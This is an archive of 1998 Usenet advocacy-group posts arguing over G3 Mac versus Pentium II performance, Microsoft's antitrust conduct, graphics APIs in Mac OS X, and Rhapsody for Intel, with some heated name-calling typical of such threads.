> >> >The G3 uses a 512k BACKSIDE cache, which I believe is faster than a L2
> >> >pipelined burst cache.
> >
> >By quite a bit. It has its OWN memory bus connecting it to the processor.
> >>
> >> Both the pII and the G3 use the same type of cache.
> >
> >I don't think so. If they do, the PII's implementation is really lousy!
>
> They are the same thing, and don't forget intel had it first with the PPro.
>
> >> >> 32-speed CD-Rom drive with audio,
> >> >
> >> >The G3 comes with a 24 speed CD-ROM, and macs have always been able to
> >> >play audio CD's from their internal/external CD drives. The PC CD-ROM
> is
> >> >33% faster than the one which comes in the G3, but I wouldn't think that
> >> >would cause a bottleneck in using software, especially since most
> >> >developers plan for only a quad speed CD-ROM.
> >
> >Someone did a test recently of these 24 and 33X CD ROMs. The result was
> that
> >the difference between a 24X and a 33X was mostly in the mind of the
> >manufacturer's marketing dept. The testers could find NO case where the 33X
> >was faster than the 24X and in most cases neither was consistently faster
> >than a 16X; probabaly for the reason you give, above.
>
> Actually it has to do with the spinup times of drives faster than 16X (and
> even some 16X drives) - by the time your superfast CDROM has spun up to
> operating speed, the "slower" drive has already found the data and is
> reading it off - hence unless you're reading a *large* amount of data off
> the drive, any drive faster than 16X is pretty irrelevant. The other reason
> being a 24X CDROM is getting very close to the max data xfer rates of a lot
> of IDE drives.
Agreed.
George Graves
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Thu, 28 May 1998 18:08:05 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-2805981808060001@192.168.0.3>
References: <6kj771$3v3$1@ironhorse.plsys.co.uk> <B1927A7F-2C857@206.165.43.156> <6kjhrh$2fh$1@bartlet.df.lth.se> <rex-2805981447420001@192.168.0.3> <6kkfev$ojb$1@news.cs.tu-berlin.de>
In article <6kkfev$ojb$1@news.cs.tu-berlin.de>, marcel@cs.tu-berlin.de
(Marcel Weiher) wrote:
:rex@smallandmighty.com (Eric King) writes:
:[lots deleted]
:> However, both are now 'dead,' does it really make much sense to
:>continue to use 3x2s in Mac OS X? If you use 3x2s anyone making an
:>illustration app is going to have to either special-case perspective or
:>write their own matrix-handling routines. I'm sorry, it's just a needless
:>step backwards.
:
:..or use the ones supplied by the apparently supported 3D library
:on the same system..?
You've hit upon the real underlying issue behind all of this. Apple is
just not doing a good job of integrating its various graphics
technologies. There's a lot of duplicated effort going around and no clear
directions.
-Eric
From: dpetticord@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 28 May 1998 23:29:54 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6kks1h$pfh$1@nnrp1.dejanews.com>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k9j23$s5b$1@nnrp1.dejanews.com> <357293dc.4428018@news.supernews.com>
In article <357293dc.4428018@news.supernews.com>,
mdevlin@eltrax.com (T. Max Devlin) wrote:
>
> dpetticord@hotmail.com, on Sun, 24 May 1998 16:49:07 GMT,
> >I am encouraged that you were open-minded enough to concede the possible
> >usefullness of the Windows98 integration. These anti-trust arguments are
> >multi-layered. Close minded fanatics on both sides, risk missing seeing
> >this.
> >
>
> But what do I do when I know that it is not a simple Win98 issue, Dave?
> What the hell is my legal recourse, you son-of-a-bitch, insisting that
> Microsoft has it's due...
>
> Microsoft has silently, though not obtrusively, marginalized the office
> apps market, attacked the browser market, and made advances on the
> groupware market, all by leveraging the power of their OS monopoly.
> Shit, you've watched this case and studied the facts and been
> straight-and-narrow more than anyone one Usenet....
>
Thank You for the compliment.
> It's time to prove you know what you're talking about, David Petticord.
> I've always maintained that if you can't see both sides of an argument,
> you have no right arguing one. So tell me, Dave...
>
> How do we recognize that the "Windows Experience" has simply capitalized
> on the advances of technology contributed by millions to the benefit of
> hundreds and, increasingly, the detriment (in lack of competitive
> products to choose from) of millions; how do we recognize this is wrong?
>
> ?
Max, you are getting to know me too well. If you assumed I could not resist
the "take the other side of the issue" challenge, you were right.
Like I said, I see this as a close call. I would argue against Microsoft's
position in two ways. First, question whether or not the "Windows Experience"
crosses the threshhold of significance. You can always find a positive to any
action. "But Judge, reducing the worlds population by one is a good thing."
The Second argument would be to differentiate between "reason" and "symptom".
Is the "Windows Experience" simply the feeling a user gets when he/she has
no choice. "Sit back and we will do EVERYTHING for you". Just because users
LIKE something does not mean it is not HARMING them.
How is that?
Provoking Thought from Both Sides,
David Petticord
Complete Networks, Inc.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: morbius@eatspam&die.net (Morbius)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Thu, 28 May 1998 16:06:04 -0800
Organization: Brotherhood of Nod
Message-ID: <morbius-2805981606210001@1cust115.tnt1.santa-monica2.ca.da.uu.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <356ce269.0@206.25.228.5> <gmgraves-2805981058140001@sf-usr1-44-172.dialup.slip.net> <6kkfk9$e60@nntp02.primenet.com> <356de426.0@206.25.228.5>
In article <356de426.0@206.25.228.5>, jkheit@xtdl.com wrote:
> John Jensen <jjens@primenet.com> wrote:
> > George Graves <gmgraves@slip.net> wrote: : In article
> > <356ce269.0@206.25.228.5>, jkheit@xtdl.com wrote:
>
> > : > And I still : > see that there will always be mac apologists
> > that will stretch : > and make any kind of willfully blind excuses
> > to explain why what : > is a blatant reality only *seems* that
> > way to dumb people who : > haven't seen the light.
>
> > : Well, which is worse; a Mac apologis, or a Wintel ostrich? One
> > : who touts the Mac advantage, or one who blindly refuses to :
> > face the reality that his choice of platform is a poor performing
> > : difficult to use, antiquated mess quickly on its way to the
> > museum?
>
> I agree, both are BOZOs. Having a BOZO PC counterpart doesn't in anyway
> lessen the Mac apologists' willfully blind stupidity, and the converse is
> also true.
And the NEXT bozos are somehow exempt...:)
Morbius
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: alt.bbs.amiga.cnet,comp.sys.ibm.pc.games.adventure,comp.sys.ibm.pc.soundcard.advocacy,comp.sys.mac.advocacy,comp.sys.mac.games.adventure,comp.sys.next.advocacy,comp.sys.powerpc.advocacy,comp.unix.advocacy,de.comp.advocacy,de.comp.os.os2.advocacy
Subject: cmsg cancel <6kkrem$npt$1@news.vic.com>
Control: cancel <6kkrem$npt$1@news.vic.com>
Date: 28 May 1998 23:52:08 GMT
Organization: BOFH Space Command, Usenet Division
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Sender: cnlink@202.102.32.81
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From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net> <6kiqjf$q38$1@nargun.cc.uq.edu.au> <356d6a76.0@206.25.228.5>
Subject: Re: It would be nice to own a g3 BUT....
Message-ID: <Nknb1.12$Qy5.121392@proxye1.san.rr.com>
Date: Fri, 29 May 1998 00:30:37 GMT
NNTP-Posting-Date: Thu, 28 May 1998 17:30:37 PDT
Organization: TWC Road Runner, San Diego, CA
John Kheit wrote in message <356d6a76.0@206.25.228.5>...
>"Christopher Smith" <drsmithy@usa.net> wrote:
>> George Graves wrote in message ...
>> >In article <356c6872.0@206.25.228.5>, jkheit@xtdl.com wrote:
>> >> tsn@netusa1.net (Ike Gilbert) wrote:
>[snip]
>
>> >> Gawd, can anymore excuses be made for the high price of apple
>> >> hardware? I'm sure there can. sigh.
>> >
>> >High prices. $1600 will buy you a G3 Mac which is MUCH faster
>> >than a 400 MHz PII (currently the fastest there is) How much
>> >does a 400 MHz PII cost? $2600-$3000? High priced Macs indeed.
>
>Yes indeedy. My friend just bought a 400Mhz P2, 64mb 100mhz ram,
>100mhz bus, AGP 2X, 2X DVD, ATI 8mb ATI 3D Pro thingy, 6.4Gby HD
>Ultra EIDE, 56k modem (some cheez make), 2 USB ports, cheezy
>speakers, sound, and 17" monitor all for $2100.00.
>
Talk about Apple's speed advantage when I can run Win9x under SoftWindows,
etc. at the speed of a PII-400. Or any P-II for that matter.
The application base available for the pc is a larger advantage than the
'twice-as-fast in Bytemarks' claim Apple's making for the G3.
That's just reality. Give me Rhapsody for Intel with some way to run Win9x
apps. That cannot happen because Apple needs to sell hardware--there
doesn't seem to be much in the way of a good business case from Apple's POV
for selling Rhaptel or MacOS X for Intel.
--Ed.
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Thu, 28 May 1998 18:05:51 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-2805981805510001@192.168.0.3>
References: <6kjhrh$2fh$1@bartlet.df.lth.se> <B192E0B6-44EE7@206.165.43.40> <jak-2805981110120001@fdialup162.phnx.uswest.net>
In article <jak-2805981110120001@fdialup162.phnx.uswest.net>, jak@asu.edu
(John Kestner) wrote:
:I'm curious - is there some article which says that Apple customers want
:3D perspective for editable text? I'd like to know who wants it, and where
:you got the info.
If every major illustration app supports perspective transformations,
why not make it a part of a vector graphics API? The difference is simply
a 3x2 vs. a 3x3 matrix. We're not talking about radical redesigns here.
:I'm primarily a graphic designer, and while editable text after applying
:effects is nice (ala Photoshop 5),
It was in Lightning Draw GX *years* ago. Putting this sort of stuff in
the imaging engine does make for more feature filled apps. It allows
developers concentrate more on new features or better interfaces.
:text (which should be rare), editability wouldn't be a big problem since
:it would only be used in titles.
Not necessarily. If you want to have writing on the side of a truck or
building for instance, you'd need it there as well. There are scads of
uses for this transform.
:And is perspective so important? What's
:wrong with a simple drop shadow?
They have their uses, as do perspective drop shadows. The same 3x3
transform would allow developers to easily create that effect also.
:Hell, I'm glad Apple doesn't support it; if it's there, someone would use
:it, creating an unreadably and tacky document.
People use these sorts of effects all of the time without tacky results.
-Eric
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 28 May 1998 19:21:21 GMT
Message-ID: <6kkdfh$mjn$2@newsfep4.sprintmail.com>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net>
<6ki1sh$qcr$1@newsfep3.sprintmail.com> <joe.ragosta-2705982038040001@elk54.dol.net>
<6kifon$4ed$1@newsfep3.sprintmail.com> <gmgraves-2805981104160001@sf-usr1-44-172.dialup.slip.net>
Mime-Version: 1.0
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Cc: gmgraves@slip.net
In <gmgraves-2805981104160001@sf-usr1-44-172.dialup.slip.net> George Graves
wrote:
> In article <6kifon$4ed$1@newsfep3.sprintmail.com>, macghod@concentric.net
wrote:
>
> > > The majority of real life apps (with Quake being the major exception)
show
> > > the G3 to be much faster.
> >
> > I doubt this.
>
>
> Don't just doubt it, chck it for yourself. If you are really as
> opened-minded on this subject as you say you are, compare
> a couple of computers. Find a G3. devise a set of tasks for it
> run them. Then do the same for a PII-400. I did it, and in every
> test, the 266MHz G3 I was using beat the PII-400 by more than
> twice. Run your own tests, then come back and tell us about it.
I would be happy to George. Do you want me to send you my address for you to
send the g3 and p2 to? Otherwise, we can look at Joe's web page. p2 300
versus g3 266 in photoshop - g3 is about %10 faster. G3 233 would probably
be about same speed as p2 300. His page also has office apps, excel, word,
etc. p2 300 is FASTER than g3 233. Quake is also faster.
Some pc people could take this to show that a g3 233 is SLOWER than a p2 300.
I wouldnt go that far, cause to me things are a wash. P2 300 is slightly
faster in some things than a g3 233, much faster than the g3 233 in others,
and much slower in others. When you figure in office apps, photoshop, quake
2, I think a RATIONAL and REASONABLE person would consider things a wash, ie
a p2 300 is about as fast as a g3 233
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: rfelts@. (Roger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 28 May 1998 20:15:12 GMT
Organization: gte.net
Message-ID: <6kkgac$e0l$13@gte2.gte.net>
References: <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k8dee$a9h$1@nargun.cc.uq.edu.au> <35719045.3508921@news.supernews.com>
Mime-Version: 1.0
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On Wed, 27 May 1998 04:16:25 GMT, someone claiming to be
mdevlin@eltrax.com (T. Max Devlin) wrote:
>"Christopher Smith" <drsmithy@usa.net>, on Sun, 24 May 1998 16:11:27
>>[...]They can set Netscape to the default browser, but they cannot change the
>>default startup procedure - I would consider this a valid "condition" no
>>matter *what* the OS was.
>Obviously, you don't know jack-shit about operating systems and default
>startup procedures.
What of his statement above is incorrect? Or are you just taking
another opportunity to engage in gratuitous personal attacks?
>>OEMs can *add* whatever they want to the desktop, start menu, startup etc -
>>they just aren't allowed to *remove* default settings for the first boot -
>>if Gateway wanted to they could stick a text document into "Startup"
>>describing exactly how to remove Windows 95 and install Linux, but the
>>*first* boot must have the *standard* Windows 95 setup. System vendors can
>>already pick & choose software to install, stick on the desktop, add to the
>>Start menu whatever, they just can't *remove* things from the *first*
>>bootup.
>
>According to the contract, you are correct.
Glad to see you finally acknowledging this.
>I wonder how many OEMs
>would agree with your charity concerning Microsoft's tactics,
>considering several of them were putatively threatened with losing their
>Windows licenses if they included, displayed, removed, or modified
>certain icons, et al.
And what evidence to you offer to support your contention that
"several of them were threatened?"
>Yes, theoretically a vendor might include a startup program which
>partially (not totally, because MS does not publish their code) will
>disable Microsoft crapolla, then erase itself. But why?
I agree -- why would they need to publish their code for a program to
be written? I could write a batch file to do the kinds of things that
have been discussed here.
From: DC <dhba701@NOSPAM*worldnet.att.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Thu, 28 May 1998 16:09:55 -0400
Organization: http://www.judas-priest.com
Message-ID: <6kkgc0$at2@bgtnsc02.worldnet.att.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net>
<6ki1sh$qcr$1@newsfep3.sprintmail.com> <joe.ragosta-2705982038040001@elk54.dol.net>
<6kifon$4ed$1@newsfep3.sprintmail.com> <joe.ragosta-2805981143250001@wil92.dol.net> <6kkd5m$mjn$1@newsfep4.sprintmail.com>
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Ever notice how these "conversations" break down into drivelous
playground bickering.......
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net> <6kiqjf$q38$1@nargun.cc.uq.edu.au> <gmgraves-2805981020030001@sf-usr1-44-172.dialup.slip.net> <6kkitl$elu$1@nargun.cc.uq.edu.au>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <356de30e.0@206.25.228.5>
Date: 28 May 98 22:19:58 GMT
"Christopher Smith" <drsmithy@usa.net> wrote:
> Ok George, I'll say it again *really* slowly so you don't miss
> it: "Where can I buy a *300Mhz* G3 for $1600" (so as to be faster
> than a 400Mhz pII).
I find that the G3 at 300mhz is a bit pokier in real world use than
a 400mhz P2 system. Let me just qualify that by saying throughput
is key here. The 100mhz bus on the p2 system really helps, and
better SCSI options and video options on the p2 help as well. The
better price performance ratio on PC equipment is nice too. YMMV.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <356ce269.0@206.25.228.5> <gmgraves-2805981058140001@sf-usr1-44-172.dialup.slip.net> <6kkfk9$e60@nntp02.primenet.com>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <356de426.0@206.25.228.5>
Date: 28 May 98 22:24:38 GMT
John Jensen <jjens@primenet.com> wrote:
> George Graves <gmgraves@slip.net> wrote: : In article
> <356ce269.0@206.25.228.5>, jkheit@xtdl.com wrote:
> : > And I still : > see that there will always be mac apologists
> that will stretch : > and make any kind of willfully blind excuses
> to explain why what : > is a blatant reality only *seems* that
> way to dumb people who : > haven't seen the light.
> : Well, which is worse; a Mac apologis, or a Wintel ostrich? One
> : who touts the Mac advantage, or one who blindly refuses to :
> face the reality that his choice of platform is a poor performing
> : difficult to use, antiquated mess quickly on its way to the
> museum?
I agree, both are BOZOs. Having a BOZO PC counterpart doesn't in anyway
lessen the Mac apologists' willfully blind stupidity, and the converse is
also true.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: ink@inconnu.isu.edu (Craig Kelley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 28 May 1998 18:40:21 -0600
Organization: Idaho State University
Message-ID: <6kl05l$k1$1@inconnu.isu.edu>
References: <6j2m0f$m0c$3@ligarius.ultra.net> <6k6rm6$nkn$5@ligarius.ultra.net> <3578a103.7795788@news.supernews.com> <6kkgk9$2h7$2@gte1.gte.net>
In article <6kkgk9$2h7$2@gte1.gte.net>, Roger <rfelts@.> wrote:
[ snip about how third-party browsers are not usable due to IE integration ]
->Which functionality is modular, and could be replaced with another
->.DLL which exposes the same interfaces. Which interfaces are publicly
->documented.
Too much trouble; see other responses in this thread.
--
Wheel is turning, but the hamster is dead.
Craig Kelley -- kellcrai@isu.edu
http://www.isu.edu/~kellcrai finger ink@inconnu.isu.edu for PGP block
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 29 May 1998 01:47:03 GMT
Organization: University of California at San Diego
Message-ID: <slrn6ms4sm.79d.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com>
On Thu, 28 May 1998 14:51:23 -0500, William Whitehouse wrote:
:As Apple's hardware business is its main cash cow, then why doesn't Apple
:and MS get together in porting NT to the PPC _and_ continue to offer
:RhapTel?
Last I heard, Microsoft wanted to shake down IBM and Motorola for about
$500 million dollars. Almost certainly the price has gone up.
Just because NT shows up on PPC doesn't mean that anybody will really
try to write programs for it or that it will be viewed as a serious
alternative to NT/x86.
Look at what NT is doing for the raging Alpha market. What fraction of
all those NT programs are compiled, tested and ported to NT/Alpha?
IBM and Apple are competitors to Microsoft in system software. Compaq
isn't remotely so. And yet, how much attention is NT/Alpha getting?
:The upshot is that, while Apple obviously sees that it needs to protect its
:hardware sales, its involvement and myopic commitment to Rhapsody/MacOS is
:blinding it from doing precisely the things it needs to do to advance its
:hardware business - either in abandoning the PPC and developing exclusively
:for the IA-64, or in promoting PPC as an alternate desktop platform by
:moving
:to dominant OS to it. The result is that Apple's new proprietary OS
:strategy and
:their hardware strategy severely compromise each other.
What IA64? How many of those can they sell now?
:William Whitehouse whitehou@soltec.net
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 28 May 1998 19:04:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B19365D1-E0807@206.165.43.76>
References: <rex-2805981808060001@192.168.0.3>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Eric King <rex@smallandmighty.com> said:
> If you use 3x2s anyone making an
>:>illustration app is going to have to either special-case perspective or
>:>write their own matrix-handling routines. I'm sorry, it's just a
needless
>:>step backwards.
>:
>:..or use the ones supplied by the apparently supported 3D library
>:on the same system..?
>
> You've hit upon the real underlying issue behind all of this. Apple is
>just not doing a good job of integrating its various graphics
>technologies. There's a lot of duplicated effort going around and no clear
>directions.
I'd hate to try to support perspective for Apple's new text services
myself. How does one do this? Intercept the mouse position, invert the
transform matrix manually, and pass the de-perspectivized coordinates to
the normal services?
Doable, I suppose, but hardly fun. OTOH, if *Apple* were to merely provide
the same service that they do in QuickTime and GX, perspective could be
accounted for automatically, and little details like perspectivized
insertion points and selection rectangles would be transparently handled,
just as they ALREADY ARE with GX.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: 29 May 1998 04:00:52 GMT
Organization: Digital Fix Development
Message-ID: <6klbtk$6iq$1@news.digifix.com>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg> <6kesfn$c5r$6@ns3.vrx.net> <6kfi4n$452$1@nntp2.ba.best.com> <6kg0hn$689$1@news.digifix.com> <356B9C6F.434C2D58@nstar.net> <6kgapb$a5t$1@news.digifix.com> <356C6096.497E4DBD@nstar.net> <6khtaq$ril$1@news.digifix.com> <rmcassid-2705981426480001@dante.eng.uci.edu> <6kilej$7a6$1@news.digifix.com> <rmcassid-2705982324230001@dialin33411.slip.uci.edu>
In-Reply-To: <rmcassid-2705982324230001@dialin33411.slip.uci.edu>
On 05/27/98, Robert Cassidy wrote:
>In article <6kilej$7a6$1@news.digifix.com>, sanguish@digifix.com
(Scott
>Anguish) wrote:
>
>> On 05/27/98, Robert Cassidy wrote:
>
>> >What about non-MacOS hardware developers? Right now there are
*tons*
>> of
>> >PCI cards that I can't just shove in my G3 box because of a lack
of
>> >drivers. USB will only add to that.
>>
>> Well, most PCI cards won't "just work" anyways, even if the
>> software drivers where there... The'd need new ROMs to deal with
the
>> low end correct?
>
>That's true. So why aren't new cards coming out with proper ROMs?
Because they have to make special ROMs for a small market
(Apple)
>And why
>are some cards coming out with proper ROMs and still no drivers
>(NumberNine comes to mind). NumberNine *used* to have drivers for the
Mac,
>and now no longer does. Not good.
>
Then how do you know that the cards are still being made with
the new ROMs?
>> USB is much simpler. There is a standard interface there
to
>> deal with.
>
>True. But will non-Mac developers support it. I mean, there are a lot
of
>odd uses for USB that there won't be standard drivers to support. It
only
>takes one of these to be missing to deep-six a purchase. It happens a
lot,
>unfortunately.
Perhaps, but this could be addressed by a third party fairly
easily.. Third party ROMs for you favourite PCI card aren't likely to
be a big hit..
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: "Earl Malmrose" <malmrose@nospam.jetcity.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 29 May 1998 05:08:01 GMT
Organization: ISPNews http://ispnews.com
Message-ID: <01bd8abf$840441a0$0b0ba8c0@woohoo>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <6kiogb$9dn$1@newsfep1.sprintmail.com> <gmgraves-2805981043560001@sf-usr1-44-172.dialup.slip.net>
NNTP-Posting-Date: 29 May 1998 05:08:01 GMT
George Graves <gmgraves@slip.net> wrote in article
<gmgraves-2805981043560001@sf-usr1-44-172.dialup.slip.net>...
> I've done the tests. I have timed a bunch of different tasks on
> both a 400 MHz PII and a 266 MHz G3. In every test the G3 finished much
> more than twice as quickly; and this particular PII had more RAM than
> the G3 I was using as well. Not very scientific, to be sure, but its what
> I believe people who use a G3 Mac CAN expect to see in real world
> situations.
What were your tests? Definately not POVRay, Mathematica, or Quake, for
those are all faster on a PII-300 (let alone a PII-400) than a G3-300.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Howabout Something Better than what we have now? (Was Re: End of WYSIWYG
Followup-To: alt.dev.null
Date: Thu, 28 May 1998 22:15:53 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d9rdxd.1awl9ubo4pfh2N@carina43.wco.com>
References: <6jng30$fg7$1@supernews.com> <6jnjvs$q5v$1@crib.bevc.blacksburg.va.us> <B184D271-19B2D@206.165.43.16> <6jp3h2$1cc$89@ironhorse.plsys.co.uk> <B185C630-12EC4@206.165.43.37> <joe.ragosta-1905980811270001@wil104.dol.net> <B18713C2-1ED4E@206.165.43.112> <3561d7b1.0@news.depaul.edu> <rex-1905981816130001@192.168.0.3> <6k6e1i$sr4$9@ironhorse.plsys.co.uk> <rex-2305981101130001@192.168.0.3> <3566E50C.257D56A2@trilithon.com> <rex-2405980239210001@192.168.0.3> <6k9qea$d5n$1@ironhorse.plsys.co.uk> <rex-2505980225090001@192.168.0.3> <6kca7d$d5n$7@ironhorse.plsys.co.uk> <B18F17D4-38174@206.165.43.100> <6kkavb$iuq$2@mamenchi.zrz.TU-Berlin.DE> <B1932F90-148B1@206.165.43.76>
Lawson English <english@primenet.com> wrote:
> It is NOT a huge project for Yellow Box to retain the "imaging model" of
> PostScript. The graphics primitives used by DPS already existed and are
> owned by Apple.
The graphics primitives used in Display PostScript other than
compositing and a few odd bits is Adobe code. Apple has to supply it's
own clean implementation.
--
Mike Paquette mpaque@wco.com
I'm not an officer, spokesperson, or high muckety-muck of Apple
Computer. I don't speak for Apple, and they don't speak for me.
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 29 May 1998 05:32:20 GMT
Organization: I don't think so
Message-ID: <slrn6msiac.6td.jason@jhste1.dyn.ml.org>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <6kiogb$9dn$1@newsfep1.sprintmail.com> <gmgraves-2805981043560001@sf-usr1-44-172.dialup.slip.net> <01bd8abf$840441a0$0b0ba8c0@woohoo>
Earl Malmrose posted the following to comp.sys.mac.advocacy:
>> I believe people who use a G3 Mac CAN expect to see in real world
>> situations.
>What were your tests? Definately not POVRay, Mathematica, or Quake, for
>those are all faster on a PII-300 (let alone a PII-400) than a G3-300.
POV-Ray benchmarking is a joke; the results are so inconsistent as to be
useless (e.g., P5-75 as fast as P-II/233). Mathematica - only if you're
running Linux on your P-II (and then by only a couple of percent).
Quake - c'mon, we all know that it's optimized for Intel procesors,
and that the Mac port was poorly done.
--
"Phil was a deeply funny and very happy person"
-- Steve Martin on the late Phil Hartman (1948-1998)
We'll miss you, Phil.
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <356ce269.0@206.25.228.5> <gmgraves-2805981058140001@sf-usr1-44-172.dialup.slip.net> <6kkfk9$e60@nntp02.primenet.com> <356de426.0@206.25.228.5> <morbius-2805981606210001@1cust115.tnt1.santa-monica2.ca.da.uu.net>
